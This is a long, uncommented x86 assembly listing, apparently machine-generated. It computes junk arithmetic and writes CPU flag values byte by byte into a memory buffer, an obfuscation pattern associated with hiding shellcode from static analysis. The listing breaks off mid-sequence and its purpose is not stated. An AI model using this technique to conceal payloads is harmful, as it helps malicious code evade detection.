mov edx, 0xdf87c686
mov ebx, 0x7eb4c8f2
cmp edx, ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xf8021218
mov ecx, 0x554d216d
sar edx, cl
mov eax, 0x47ca069
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xb903815a
mov ecx, 0xe0809351
add ebx, ecx
mov eax, 0x1575dfd1
aas
mov ebx, 0x9bd6161a
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x3437ebdf
inc eax
mov eax, 0x8d3cf475
mov ecx, 0x732f2fda
ror eax, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xbd6c6bd4
add eax, 0xbf35a8d3
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x7388173f
sar ebx, 0xd6
mov ecx, 0x5e5df0cf
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xa239efd6
add eax, 0xa07e74e6
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xc1dd61aa
mov ecx, 0x1152aab4
cmp edx, ecx
mov eax, 0x4f9531c9
aaa
mov edx, 0x2777cc05
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xbd4e1f35
mov ecx, 0xf049f2cf
rol ebx, cl
mov eax, 0xbf6859c1
rol eax, 1
mov ebx, 0x940aff95
cmp ebx, 0x447b6f87
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x4729cdd7
sal eax, 1
mov edx, 0x13ba09c3
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x19558aa3
inc ebx
mov eax, 0x1e0d5896
rol eax, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xa6ed377f
shl eax, 1
mov ebx, 0x62af5c0
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xebc9c00a
sub ebx, 0xd2ce7ef3
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4ff52b3d
mov ecx, 0x192ce21b
sar edx, cl
mov ebx, 0x2b23d031
mov ecx, 0x3820e026
add ebx, ecx
mov eax, 0xf695e2ae
aas
mov ebx, 0xfa6a1fa4
sal ebx, 1
mov ebx, 0xf8a6c002
add ebx, 0xa2e71f6a
mov eax, 0x6000082b
aaa
mov edx, 0x316d9b71
sub edx, 0x71a2938f
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7b41b62
sub ebx, 0x4fdd304e
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x5777a62
mov edx, 0xc5e46a70
cmp ebx, edx
mov eax, 0x2c6fe73e
aaa
mov ebx, 0x90622e60
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xba99cbdf
sal ebx, 1
mov eax, 0xaccf5ed
mov edx, 0xf11514ff
sub eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xd9c9db0c
mov eax, 0x28cea94a
cmp edx, eax
mov eax, 0xcee87a26
aas
mov ebx, 0x243d2b03
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xdf2c8a1d
rol ebx, 1
mov edx, 0x22564dd5
mov ecx, 0x24711c39
ror edx, cl
mov edx, 0x91606393
mov eax, 0x56192c60
sub edx, eax
mov eax, 0x59db4191
aaa
mov ecx, 0x538e213c
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xec1ba58
rol ebx, 1
mov ebx, 0xd43afa5
mov ecx, 0x62f2ab2d
rol ebx, cl
mov eax, 0x3a9ffb81
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x2a31bb61
aaa
mov ebx, 0x6ca28b80
mov ecx, 0x386d06ed
ror ebx, cl
mov ebx, 0x98f71b4
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x16dda25a
rol edx, 1
mov edx, 0x7c4c2a9a
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x7477e9ba
mov ecx, 0xd67627ef
ror edx, cl
mov ecx, 0x195bd818
sub ecx, 0xb5f8115e
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x4c1029ee
mov ecx, 0x58d31ede
rol ebx, cl
mov ecx, 0xbcb3d810
dec ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x7ba54d5b
aas
mov edx, 0x191bc5b4
mov ecx, 0x1ab85337
cmp edx, ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x6e92ea23
mov ecx, 0x4c1d8674
rol edx, cl
mov edx, 0xd8db2f35
mov ecx, 0x3dea5b0a
rol edx, cl
mov ebx, 0x27b75eaf
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x56afd745
inc ecx
mov eax, 0xaecb421a
mov ecx, 0xf59a9a25
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xbf07ee7
sal ebx, 4
mov ebx, 0x48fac828
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xddddb0e1
rol edx, 1
mov eax, 0xeb959547
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe61a7b9
mov ecx, 0x5dc89ac6
rol edx, cl
mov eax, 0xfe3175d
mov ecx, 0x4c1226cf
ror eax, cl
mov edx, 0x9bb375ef
cmp edx, 0x57017e8
mov eax, 0x89cc820
aas
mov eax, 0x767ad8e5
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe38376d0
dec eax
mov eax, 0xa52c73d0
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6dc4a5e0
mov ecx, 0xe0d7fd69
rol eax, cl
mov edx, 0x7c2e3f27
rol edx, 1
mov ebx, 0x87483c42
mov ecx, 0x1deb87ee
ror ebx, cl
mov edx, 0x299294ae
rol edx, 1
mov eax, 0xa5c0a9eb
sub eax, 0x42f91856
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xdd8bfb76
mov ecx, 0xa75aa32e
rol edx, cl
mov edx, 0xd5bdb27a
mov ecx, 0x791454b7
ror edx, cl
mov eax, 0x3c5f8fa8
rol eax, 1
mov eax, 0xaee3b2d6
add eax, 0xd0e07543
mov edx, 0xec39204a
mov ecx, 0x2c003410
rol edx, cl
mov ecx, 0xab97e460
sub ecx, 0x4184bf3b
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xe8d9bdd1
mov ebx, 0x729ef828
add ecx, ebx
mov eax, 0x569baee8
aaa
mov ebx, 0x3776ba92
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xc7b91b20
neg ecx
mov eax, 0x39aced32
aaa
mov eax, 0x47573df7
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x65dc160d
mov ecx, 0xca4f203d
rol edx, cl
mov eax, 0x83e0502a
dec eax
mov ebx, 0x4a363087
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x281eaaf2
sal eax, 1
mov edx, 0x683e9d76
rol edx, 1
mov ebx, 0x92d8d6ff
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x5ceebf2b
inc ebx
mov eax, 0x96b4b736
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xb149549e
sal ebx, 1
mov ecx, 0x5d5a5b40
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x82fedb6d
inc edx
mov edx, 0x77627acc
mov ecx, 0xb62d828b
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x7de5fcaa
rol ebx, 1
mov ebx, 0x17742c3c
mov ecx, 0x63476488
ror ebx, cl
mov eax, 0xeb2fea3c
cmp eax, 0xa53c20f2
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x97ca278d
mov ecx, 0x5d3babc5
sub edx, ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xb26e957a
mov ecx, 0x5e9cd29
rol ebx, cl
mov edx, 0xb2b5f44
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x1e8a7005
mov edx, 0x3cfbea38
add eax, edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x71657d6b
mov ecx, 0x3e3a7c6a
cmp edx, ecx
mov eax, 0x5a920116
aaa
mov eax, 0x3bbf9549
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x28337460
neg edx
mov edx, 0xab804814
rol edx, 1
mov eax, 0xbd2dd452
shl eax, 1
mov ebx, 0x3a6bd684
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x945b2fcc
mov edx, 0x14f888b1
cmp ecx, edx
mov eax, 0x33d3d347
aas
mov ebx, 0xc00e2071
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x6f58879a
cmp edx, 0x68b140be
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x5e885bb4
inc ecx
mov ebx, 0xdb340f74
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x57cdca3b
sal ebx, 1
mov edx, 0x2def0bda
dec edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x394ee86
mov ecx, 0xebe74a93
ror edx, cl
mov ecx, 0x5f8375a9
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x87f5d0e6
aas
mov ebx, 0xe45612ea
mov ecx, 0xae7108e4
ror ebx, cl
mov eax, 0x6e301818
aaa
mov ebx, 0xd3481faf
cmp ebx, 0x15e1c1ed
mov eax, 0x2f1d0644
aas
mov ebx, 0x39517056
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd0204553
add ebx, 0x8dd926d9
mov edx, 0x4be56b28
mov ecx, 0xcedcff85
ror edx, cl
mov ebx, 0x258b24e
rol ebx, 1
mov eax, 0xc1b7728b
rol eax, 1
mov eax, 0xb889f927
aas
mov eax, 0x4bd87658
mov ecx, 0xdabb5a04
shl eax, cl
mov eax, 0x4e05ab90
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x3a7ba2f1
inc ecx
mov ebx, 0x3570d4f
mov ecx, 0xd4d61093
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xd99d292b
sub edx, 0xae121067
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x640dfbdb
mov ecx, 0xea42243
rol ebx, cl
mov eax, 0x67cbb6fa
aas
mov edx, 0x8cf9de2c
rol edx, 1
mov eax, 0x1387297f
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xd54fc61b
mov ecx, 0x14dcdef2
sub edx, ecx
mov eax, 0x1f479bb7
aaa
mov eax, 0x68e3c3bc
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x601a6dbf
mov ebx, 0x74bf7e0
cmp edx, ebx
mov eax, 0xe879db9f
aaa
mov ebx, 0xb2b844ef
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xabce5ce0
mov ecx, 0x88c98aaf
ror edx, cl
mov eax, 0x77bf954b
rol eax, 1
mov edx, 0xceafc397
mov ecx, 0xd68e908d
shl edx, cl
mov edx, 0xbc380208
mov ecx, 0x64115261
sub edx, ecx
mov eax, 0xda50708a
aaa
mov ecx, 0x500cbb79
mov edx, 0xed55be52
sub ecx, edx
mov eax, 0xd737137b
aas
mov eax, 0xfaed908f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x3c21397f
rol eax, 1
mov edx, 0x795ddd72
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe8cc1e83
rol eax, 1
mov edx, 0x1cfc5139
rol edx, 1
mov ebx, 0xf94cf46
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x10567094
mov ecx, 0xa711407
ror edx, cl
mov ebx, 0x3a307f98
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x192b5b4
inc ebx
mov edx, 0x418c5a35
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x358d999e
rol ebx, 1
mov edx, 0x1daf2d60
inc edx
mov edx, 0xe5cbec9a
mov ecx, 0xa89a5038
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x75eccd48
inc eax
mov ebx, 0x4d8963d
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa8b4f0a1
mov ecx, 0xdcdde573
sub edx, ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x91145327
mov edx, 0xdbdbf85
add eax, edx
mov eax, 0x4fe3f19
aaa
mov eax, 0x37751365
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xd740c09a
shl ebx, 0x66
mov ecx, 0x382206df
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xa97a1523
rol edx, 1
mov ecx, 0x1ce2b3f
cmp ecx, 0xb8ef4fb4
mov eax, 0x36019e24
aaa
mov eax, 0xd6e767d4
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xbbdfe52b
rol ebx, 1
mov eax, 0x36fb79ba
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xd6e25a1a
mov ecx, 0xe3ad91a1
ror edx, cl
mov edx, 0x603a0adc
shl edx, 0xa8
mov ecx, 0x4e16af48
cmp ecx, 0x2397a498
mov ebx, 0x8a03b306
mov ecx, 0xdab224e7
ror ebx, cl
mov ecx, 0x7461b0d0
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xb7415abb
cmp ecx, 0x4e61109
mov eax, 0xd79c60f
aaa
mov ebx, 0xb2e837cc
rol ebx, 1
mov ebx, 0xa3abccce
mov ecx, 0x31fabacf
rol ebx, cl
mov edx, 0xd7d9273c
mov ecx, 0x2200b6e
ror edx, cl
mov ebx, 0x9bbd6b9f
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xb4acc56a
rol ebx, 1
mov edx, 0x4bd6121f
neg edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x99f8ea8f
inc edx
mov ebx, 0xb01093d7
mov ecx, 0xccd36abe
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb4914b67
rol edx, 1
mov ebx, 0xf156b7d0
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa860e45c
cmp edx, 0x21191101
mov eax, 0x2378ee9b
aaa
mov ecx, 0xd4bb5d60
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x2ba2ba41
rol ebx, 1
mov eax, 0x8cfa3d60
dec eax
mov eax, 0xc152ab2f
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xa6505c9c
dec ebx
mov eax, 0xd77cf92d
rol eax, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x17ac9954
add ebx, 0xac75e30c
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x4a623a5c
mov ecx, 0xf52d97fa
ror edx, cl
mov ebx, 0x23109609
cmp ebx, 0xfe09d8f2
mov ecx, 0xcc18113f
inc ecx
mov eax, 0x91c4ba71
mov ecx, 0x14d75ab9
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0xcde1ba8f
mov ecx, 0x67069cfb
add edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4bdbff44
rol ebx, 1
mov edx, 0x5b53c40e
mov ecx, 0xdf42acf1
rol edx, cl
mov ebx, 0x68209581
mov ecx, 0x1b23c23b
rol ebx, cl
mov edx, 0x83e56c7f
mov ecx, 0xe6dc0f56
ror edx, cl
mov edx, 0x9a586a1a
mov ecx, 0x533b9e3d
ror edx, cl
mov edx, 0xd9d24bb0
sal edx, 1
mov eax, 0xf7df4cff
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xf930d215
sal ebx, 0x92
mov eax, 0x7213788d
aas
mov eax, 0xa980f0a4
add eax, 0x5bb93ac1
mov eax, 0x2898157e
aas
mov ecx, 0xc56a549f
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x1a46e0cd
mov ecx, 0x46210517
ror eax, cl
mov ebx, 0x8a1b651e
shl ebx, 0xcd
mov eax, 0x11483849
neg eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x60bfb2c5
mov ecx, 0x26de302d
ror edx, cl
mov eax, 0x41cd49e
mov ecx, 0xf98fecd0
ror eax, cl
mov eax, 0x9fc6df46
mov ecx, 0x71a17215
rol eax, cl
mov edx, 0xed05e9a0
dec edx
mov eax, 0xb7bdc1a4
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x27a025c1
rol eax, 1
mov ebx, 0x80933748
rol ebx, 1
mov ecx, 0x92ef2770
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xbea6a3fe
mov ecx, 0x4001a2f1
ror eax, cl
mov ecx, 0x30fb862c
mov edx, 0x851834df
cmp ecx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd7a9d8f0
mov ecx, 0xdf30a095
rol ebx, cl
mov edx, 0xd2e163ea
mov ecx, 0x64488a4a
ror edx, cl
mov ebx, 0xbc1d16e0
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x768c0f0f
rol eax, 1
mov ebx, 0x5a450136
sal ebx, 0xa3
mov edx, 0x8166bd66
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xeb8400c3
rol edx, 1
mov ebx, 0xc88f7630
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xaac67942
mov ecx, 0xc8a1839e
rol ebx, cl
mov edx, 0x4c9e0866
rol edx, 1
mov ecx, 0x1c111a3a
sub ecx, 0x5176e571
mov eax, 0xffe32616
mov ecx, 0xfc12157a
sar eax, cl
mov ecx, 0x25559f88
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xaca4b209
rol eax, 1
mov ebx, 0x3aff858e
rol ebx, 1
mov ecx, 0x37c9a44e
mov ebx, 0x2ecef8c3
sub ecx, ebx
mov edx, 0x8ead3a3
rol edx, 1
mov eax, 0xafaaa780
dec eax
mov edx, 0x1c76f712
rol edx, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x575af4fc
shl edx, 1
mov eax, 0x281d486
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x80b966ef
mov ecx, 0x428077d0
rol eax, cl
mov edx, 0x7f44a481
mov ecx, 0x4857f386
ror edx, cl
mov ebx, 0x72dca95f
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4b0c8e53
add ebx, 0xcc55119c
mov ebx, 0xc107be23
mov ecx, 0x3b46d2d3
rol ebx, cl
mov eax, 0x66a33bb1
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x3d2ade2a
rol ebx, 1
mov ebx, 0xe0646215
mov ecx, 0xf9f7e458
ror ebx, cl
mov ebx, 0xed0b91c7
mov ecx, 0x44da8de4
rol ebx, cl
mov eax, 0x4ee77b86
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x45c107a
sal eax, 1
mov ebx, 0x4ca82b3f
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x69f94b1f
sub eax, 0x2d3ebe40
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x71845697
inc ecx
mov eax, 0x61eecc70
mov ecx, 0xc369d7b1
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x3f081f3e
dec ecx
mov edx, 0xdbddfd41
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x2c6179c3
mov eax, 0xa38643a5
add ecx, eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x3628fd8f
inc edx
mov ebx, 0xacca93e8
mov ecx, 0x403597db
rol ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xb220d02
mov ecx, 0x40eda610
ror ebx, cl
mov ecx, 0x9b2cb709
cmp ecx, 0xa9f50c66
mov ebx, 0x61fda503
add ebx, 0xfef250f9
mov edx, 0x4c7c1258
rol edx, 1
mov ecx, 0xedb27fc0
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xbd75465c
mov ecx, 0xccac9085
ror eax, cl
mov ebx, 0x2657f642
rol ebx, 1
mov eax, 0x2762906c
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x83617a2f
mov ecx, 0x86c8ede9
rol eax, cl
mov ebx, 0x47749574
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xd7f9856e
mov ebx, 0x33ed996
sub eax, ebx
mov eax, 0x8a8bf272
mov ecx, 0xe85a2148
ror eax, cl
mov ecx, 0x2fac67cf
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe8125105
mov edx, 0x7be35c25
add ebx, edx
mov eax, 0xf40cd833
aaa
mov eax, 0x676a4992
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xece9427f
mov ecx, 0xd6eafdd
sub edx, ecx
mov eax, 0x8e882439
aas
mov ecx, 0x5c469145
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xae1e34dd
mov ebx, 0x76ff56a4
sub edx, ebx
mov eax, 0x62f64a43
aaa
mov ebx, 0x5b93c244
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xf0e898be
mov edx, 0x73017223
cmp eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x60dfbd29
sal eax, 1
mov eax, 0x30ad56f5
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xbf066153
rol eax, 1
mov edx, 0x38668f5f
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x8ef959f0
mov ecx, 0xa1c01b8f
rol edx, cl
mov eax, 0x62ee8175
add eax, 0xd38fd533
mov edx, 0xb70a624f
add edx, 0x2b7b4172
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xc6c3e06b
rol ebx, 1
mov eax, 0x59a0f72f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xa92a2c22
aaa
mov ebx, 0xec64756a
mov eax, 0x4ecdcbe5
cmp ebx, eax
mov eax, 0x5cedf65
aaa
mov ebx, 0xa62e08
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x38396169
mov ecx, 0x2800a0c8
ror eax, cl
mov ebx, 0xb571a3dc
dec ebx
mov eax, 0x56481fee
rol eax, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xc88ca6d0
mov ecx, 0x49bf8a1b
ror eax, cl
mov ecx, 0x20af9d00
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x9754d62c
mov ecx, 0x36fd2610
cmp edx, ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xf91c9685
sub edx, 0xc925b099
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xf7dd1718
mov ecx, 0x4fb4998e
ror edx, cl
mov eax, 0xe14cea47
rol eax, 1
mov ebx, 0x924d436c
dec ebx
mov eax, 0x64930fd
rol eax, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x3581fa3a
mov ecx, 0x2d68bcc5
rol eax, cl
mov edx, 0xc0989f52
sar edx, 0xc1
mov ecx, 0x4e444bff
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x8861afdc
sal eax, 0xc3
mov eax, 0x5e12cb93
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xa9c4201
aas
mov ebx, 0xfe21f301
mov ecx, 0x34880462
ror ebx, cl
mov edx, 0x5059ee3b
rol edx, 1
mov edx, 0x8ba6e433
cmp edx, 0x39e706e3
mov eax, 0xef39d553
aas
mov eax, 0x4c710587
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xaaea0f09
shl ebx, 1
mov eax, 0xde76ccd2
sar eax, 0x25
mov eax, 0x4cf36360
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x493bb4a5
mov ecx, 0xb3cac189
ror edx, cl
mov edx, 0xa204ccc0
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x8fa94c74
sal eax, 1
mov eax, 0x96b5cb3c
sal eax, 0x84
mov ebx, 0x687d942f
inc ebx
mov edx, 0xf79db4f
mov ecx, 0xd440c24d
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x5eb0f80
dec edx
mov ebx, 0x15c7fe57
mov ecx, 0xeb06049f
ror ebx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x3fdb3b12
mov ecx, 0xe0eaca8b
rol eax, cl
mov ebx, 0x6dc028f0
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x8031477e
rol edx, 1
mov ebx, 0xeeec924
mov ecx, 0x4697f64
rol ebx, cl
mov ebx, 0x2bfab2c6
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc58b6e44
shl edx, 0x63
mov ebx, 0x2f672238
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xb4fe4e77
mov ecx, 0x38b9c465
rol edx, cl
mov ebx, 0xa3f80290
neg ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x5041dc91
mov ecx, 0x29e6c399
add ebx, ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x576c5a5c
mov ecx, 0x481ffc32
rol eax, cl
mov eax, 0x752b488a
cmp eax, 0x2d889ce9
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x5ea3ae26
aaa
mov edx, 0xfbcc7cef
mov ecx, 0x41ff31b6
ror edx, cl
mov eax, 0x1f821a0d
inc eax
mov ebx, 0x26853e10
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xa13daa91
mov ecx, 0x42943204
ror eax, cl
mov eax, 0x2a7e0e14
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xc4ebfdce
dec ebx
mov eax, 0x6c924b36
rol eax, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x1e42812f
cmp ebx, 0x2e538554
mov edx, 0x10d9a11f
mov ecx, 0x7f20fd01
rol edx, cl
mov eax, 0xbdbaa711
aaa
mov edx, 0xb6f8d35a
sub edx, 0xa7d11d2f
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x42fb8d6
mov ecx, 0x720e16b5
rol eax, cl
mov edx, 0xdecc1049
neg edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x3b6489d3
rol eax, 1
mov ecx, 0x8d85eb37
cmp ecx, 0xf7da4da3
mov eax, 0xdcb7fd11
mov ecx, 0xb7b6dc5e
ror eax, cl
mov ebx, 0x8d6744e0
dec ebx
mov eax, 0x590a5241
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0xb0292155
shl edx, 0x9c
mov edx, 0x25e5ce70
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x2c9dfc46
mov ecx, 0x5f742290
rol ebx, cl
mov eax, 0xdc3fb975
mov ecx, 0x605e14ac
rol eax, cl
mov eax, 0x635911cf
inc eax
mov ebx, 0xdc15f989
mov ecx, 0xc1cc8e0f
rol ebx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x78cd07ba
mov ecx, 0x7e641812
rol edx, cl
mov edx, 0xa1564835
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6c03a87
dec eax
mov ebx, 0xceec5e35
mov ecx, 0xed9f7d30
rol ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x9ff021c9
mov ecx, 0x10331b45
sar eax, cl
mov eax, 0x3cfa66d6
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x715277ab
sar edx, 0x63
mov ebx, 0xa77f53f5
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0xb2f926
cmp ecx, 0xb8036510
mov eax, 0xced2b558
mov ecx, 0x55dc01e
rol eax, cl
mov edx, 0xe0977229
sub edx, 0xd2846a0c
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x97fad973
mov ecx, 0x1a25233f
rol edx, cl
mov ecx, 0xb5d91b06
inc ecx
mov edx, 0xd695f723
mov ecx, 0x164cfb43
ror edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x434d9a49
mov ecx, 0xe2e454cb
ror ebx, cl
mov edx, 0x8f0a049c
sal edx, 1
mov edx, 0x7c57527d
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x5a6a1408
shl edx, 1
mov ecx, 0x13a42611
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x321a0724
inc ecx
mov ebx, 0x55e69d43
rol ebx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xa2793075
rol edx, 1
mov ebx, 0x27b19e44
inc ebx
mov ebx, 0x8c70d185
mov ecx, 0xdeb3db02
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x712b8601
rol edx, 1
mov ebx, 0x54b82863
shl ebx, 0x64
mov edx, 0x22063dcd
rol edx, 1
mov eax, 0xff19a2f4
mov ecx, 0x3e60c45d
ror eax, cl
mov edx, 0x65eef20c
